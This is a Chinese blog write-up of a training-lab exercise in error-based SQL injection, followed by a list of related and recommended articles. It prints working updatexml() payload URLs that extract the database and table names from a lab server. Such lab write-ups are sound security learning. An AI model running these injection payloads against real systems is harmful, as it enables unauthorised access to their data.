SQL报错盲注
嗯哼,这几天篮球比赛,天天训练,学习都耽搁了,DDCTF做了一会心态就爆炸了,蓝瘦,明天再打一场,希望能赢呢,打完就疯狂继续学习了。今天抽空又做了一些基本的SQL注入题目,墨者学院的一道报错注入的题目,很基础。并且没过滤啥,所以直接肝就完事了。我一开始用了SQLMAP就直接跑了,然后还是锻炼一下手注把。
首先,还是那个页面(最近又用起了火狐,毕竟比Chrome 占用资源少,卡顿少)

然后加了一个'

很明显的报错注入把。那我就用我之前学到的一个updatexml函数来报错:
http://219.153.49.228:49249/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),3)%20%23

http://219.153.49.228:49249/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x73746f726d67726f7570),0x7e),3)%20%23

这是最基础的部分,就不讲解了。就做些笔记把。最后记得用limit限制行数。
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 
第三个参数:new_value,String格式,替换查找到的符合条件的数据 
--------------------- 摘自  https://blog.csdn.net/xingyyn78/article/details/79737070
顺便记一下substr函数是从1开始,而不是0
再上一篇用另外的方法进行的报错注入(笔记) https://blog.csdn.net/qq_41409656/article/details/79165873
SQL报错盲注的更多相关文章
- 十六:SQL注入之查询方式及报错盲注
		在很多注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL查询语句有问题,这时候我们需要用到相关的报错或者盲注进行后续操作,同时作为手工注入的时候,需要提前了解SQL语句能更好的选择对应 ... 
- 渗透测试初学者的靶场实战 2--墨者学院SQL注入—报错盲注
		墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ... 
- 报错盲注之exp注入(double数值类型溢出原理详解)
		首先感谢原文博主,在此致敬.本文转自:http://www.cnblogs.com/lcamry/articles/5509124.html Exp()为以 e 为底的对数函数:MySQL版本在 5. ... 
- 渗透之路基础 -- SQL进阶(盲注和报错注入)
		SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ... 
- 数据库执行sql报错Got a packet bigger than 'max_allowed_packet' bytes及重启mysql
		准备在mysql上使用数据库A,但mysql5经过重装后,上面的数据库已丢失,只得通过之前备份的A.sql重新生成数据库A. 1.执行sql报错 在执行A.sql的过程中,出现如下错误:Got a p ... 
- 转  sqlplus执行sql报错:ORA-01756:
		1.sqlplus执行sql报错:ORA-01756: quoted string not properly terminated 分类: 技术 在SQLPLUS中执行SQL文件时 ... 
- 利用sql报错帮助进行sql注入
		我们可以利用sql报错帮助进行sql注入,这里以sql server 为例: sql查询时,若用group by子句时,该子句中的字段必须跟select 条件中的字段(非聚合函数)完全匹配,如果是se ... 
- (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析
		一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ... 
- Sqli-LABS通关笔录-5[SQL布尔型盲注]
		/* 请为原作者打个标记.出自:珍惜少年时 */ 通过该关卡的学习我掌握到了 1.如何灵活的运用mysql里的MID.ASCII.length.等函数 2.布尔型盲注的认识 3.哦,对了还有.程序 ... 
随机推荐
- iOS 使用Instruments的工具小结
			使用Instruments的工具 iOSXcodeInstrumentsInstruments是一个官方提供的强大的性能调试工具集. 1.Blank(空模板):创建一个空的模板,可以从Library库 ... 
- python中使用redis发布订阅者模型
			redis发布订阅者模型: Redis提供了发布订阅功能,可以用于消息的传输,Redis的发布订阅机制包括三个部分,发布者,订阅者和Channel.发布者和订阅者都是Redis客户端,Channel则 ... 
- 二、Redis安装
			一.下载Redis: 下载地址:https://github.com/MSOpenTech/redis/releases. 由于redis并不支持window系统,而window版本的redis的是由 ... 
- jQuery的事件处理
			一.页面加载响应事件 $(document).ready()方法,获取文档就绪的时候.他极大地提高了Web相应速度.虽然该方法可以代替传统的window.onload()方法,但是两者之间仍然有差别. ... 
- 简单了解python使用正则表达式
			正则[Regular Expression]:正则表达式通常被用来检索.替换那些符合某个模式(规则)的文本. 正则是用来干啥的:正则就是用来匹配字符串的. Python中string的几个方法: fi ... 
- CF 543C Remembering Strings
			https://cn.vjudge.net/problem/CodeForces-543C 题目 You have multiset of n strings of the same length, ... 
- 快速沃尔什变换(FWT)及K进制异或卷积&快速子集变换(FST)讲解
			前言: $FWT$是用来处理位运算(异或.与.或)卷积的一种变换.位运算卷积是什么?形如$f[i]=\sum\limits_{j\oplus k==i}^{ }g[j]*h[k]$的卷积形式(其中$\ ... 
- Laravel——安装Laravel-admin
			前言 环境 : WAMP | Windows 7 | PHP 7.0.4 | MySQL 5.7.11 | Apache 2.4.18 框架 : Laravel | Laravel-admin 文档 ... 
- vue 使用v-html指令渲染的富文本无法修改样式的解决方法
			最近的vue项目中遇到的问题:v-html渲染的富文本,无法在样式表中修改样式 解决方法: 把需要添加或重置的样式单独放在一个style标签里, 定义为全局样式,代码如下: <style> ... 
- 基于H5的混合开发介绍(一)WebView
			转自: https://www.cnblogs.com/sanchang/p/9261461.html 一 WebView到底是什么 1 WebView是一种控件,它基于webkit引擎,因此具 ... 
